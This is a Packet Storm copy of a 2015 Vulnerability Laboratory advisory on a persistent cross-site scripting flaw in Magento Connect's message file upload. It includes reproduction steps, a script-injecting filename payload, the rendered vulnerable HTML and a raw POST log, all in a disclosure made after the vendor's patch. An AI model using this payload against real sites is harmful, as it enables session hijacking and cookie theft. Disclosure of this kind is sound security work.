what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

eBay Magento Persistent Script Insertion

eBay Magento Persistent Script Insertion
Posted Jun 19, 2015
Authored by Hadji Samir, Vulnerability Laboratory | Site vulnerability-lab.com

A persistent input validation web vulnerability has been discovered in the official Magento xCommerce web-application. The vulnerability allows remote attackers to inject own script code to the application-side of the affected service module. The vulnerability is located in the filename value of the image upload module. The attacker needs to create a New Message with upload to change the filename to a malicious payload. The attack vector of the issue is located on the application-side and the request method to inject the script code is POST.

tags | exploit, remote, web
SHA-256 | 2d046bdbb2f5dbd96eb46e550a4e42059c43e67f2b94273651e0cdfbf7805252

eBay Magento Persistent Script Insertion

Change Mirror Download
Document Title:
===============
Ebay Magento Bug Bounty #10 - Persistent Filename Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1457

eBay Inc. Bug Bounty Program ID: EIBBP-31603

Video: https://www.youtube.com/watch?v=WffsHd8pibE


Release Date:
=============
2015-06-16


Vulnerability Laboratory ID (VL-ID):
====================================
1457


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an applicationb-side input validation web vulnerability in the official Magento Commerce web-application.


Vulnerability Disclosure Timeline:
==================================
2015-03-17: Researcher Notification & Coordination (Hadji Samir)
2015-03-18: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2015-04-07: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program)
2015-05-21: Vendor Fix/Patch (Magento Developer Team)
2015-06-16: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Magento xCommerce web-application.
The vulnerability allows remote attackers to inject own script code to the application-side of the affected service module.

The vulnerability is located in the `filename` value of the image upload module. The attacker needs to create a `New Message`
with upload to change the filename to a malicious payload. The attack vector of the issue is located on the application-side
and the request method to inject the script code is POST.

The security risk of the persistent web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the application-side vulnerability results in session hijacking, persistent phishing, persistent external redirects
and persistent manipulation affected or connected module context.

Vulnerable Domain(s):
[+] www.magentocommerce.com/ (Magento Connect)

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] New Message

Vulnerable Parameter(s):
[+] filename


Proof of Concept (PoC):
=======================
The application-side input validation web vulnerability can be exploited by remote attackers with low privileged application user account and
low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the security vulnerability ...
1. Login to the magento connect service
2. create a new message
3. Start a session tamper to intercept session data -

https://www.magentocommerce.com/magento-connect/message/message/create/

4.

Click to Drop the file and upload it with a payload as filename "><img src="x" onerror=alert(document.cookie)>.png
5. Save the request and the execution occurs in the same location!
6. Successful reproduce of the application-side input validation web vulnerability in the upload POST method request!


PoC: magento-connect




session GET
<div class="col-1" style="width: 70%;">
<div class="message-attach">
<ul>
<li>
<label>Attached Files:</label>
</li>
<li>

<a href="http://www.magentocommerce.com/magento-connect/media/messages/addext01/553791d908608.jpg" title="">
<img src="x" onerror="alert(document.cookie)">.jpg">

"><img src="x" onerror="alert(document.cookie)">.jpg</a>
</li>
</ul></div></div>



poc video :https://www.youtube.com/watch?v=IXn2BpcFdgs


--- PoC Session Logs [POST] (Inject) ---
POST https://www.magentocommerce.com/magento-connect/message/message/create/
Load Flags[LOAD_BYPASS_CACHE ] Content Size[-1] Mime Type[text/html]
Request Headers:
Host[www.magentocommerce.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101 Firefox/37.0]
Accept[application/json]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
Cache-Control[no-cache]
X-Requested-With[XMLHttpRequest]
Referer[https://www.magentocommerce.com/magento-connect/message/message/new/]
Content-Length[6785]
Content-Type[multipart/form-data; boundary=---------------------------74330138546085003354751315]
Cookie[frontend=p5vvhp956ob5td8jvfhn4p7006; frontend=p5vvhp956ob5td8jvfhn4p7006; bvReturnPosition="PRR/4643co-en_us/27261/BVRRWidgetID"; optimizelySegments=%7B%22239237138%22%3A%22referral%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1427859799829r0.9503229301677888; optimizelyBuckets=%7B%7D; s_fid=1EA04ABDF830C3FB-06BD2154AEEBE2E4; utm_src=expired; ClrSSID=1427859801483-7868; ClrOSSID=1427859801483-7868; ClrSCD=1427859801483; __utma=1.1287583223.1429705092.1429705092.1429705092.1; __utmz=1.1429705092.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.r=%7B%22d%22%3A90%2C%22i%22%3A%22d5e2305-49168485-0768-7e1c-278cb%22%2C%22e%22%3A1428580157028%7D; exp_domain=c; exp_last_activity=1428276395; exp_last_visit=1112916395; s_cc=true; s_sq=magentocommerce%3D%2526pid%253Dhttps%25253A%25252F%25252Fwww.magentocommerce.com%25252Fmagento-connect%25252Fmessage%25252Fmessage%25252Fnew%25252F%2526oid%253DSend%2526oidt%253D3%2526ot%253DSUBMIT; fsr.s=%7B%22v1%22%3A-1%2C%22v2%22%3A-2%2C%22rid%22%3A%22d5e2305-49905479-c81c-469a-6629b%22%2C%22to%22%3A4.8%2C%22c%22%3A%22https%3A%2F%2Fwww.magentocommerce.com%2Fmagento-connect%2Fmessage%2Fmessage%2Fnew%2F%22%2C%22pv%22%3A22%2C%22lc%22%3A%7B%22d0%22%3A%7B%22v%22%3A22%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A0%2C%22f%22%3A1429705096226%2C%22sd%22%3A0%7D; __utmc=1; interstitial=3; frontend=4gl45gttc5ov0r2mmubj7ibeu2; frontend=4gl45gttc5ov0r2mmubj7ibeu2; ClrCSTO=T; __utmb=1.2.10.1429705092; __utmt=1]
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Pragma[no-cache]
Post Data:
POST_DATA[-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="from"
addext01
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="to"
addext01
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="subjects"
test
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="description"

-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="extension_url"

-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="parent_message_id"
0
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="sendButton"

-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="draftButton"

-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="prevent_click"
0
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="draft"
0
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="send"
0
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="file[0]"; filename="\"><img src=\"x\" onerror=alert(document.cookie)>[PERSISTENT INJECTED SCRIPT CODE!].jpg"
Content-Type: image/jpeg


Reference(s):
https://www.magentocommerce.com
https://www.magentocommerce.com/magento-connect/message/message/new/
https://www.magentocommerce.com/magento-connect/message/message/create/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode and parse of the vulnerable filename value in the new message upload POSt method request.
Restrict the input and disallow special chars to prevent application-side script code injection attacks. Ensure that the execution point redisplays valid context.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the magento xcommerce application is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close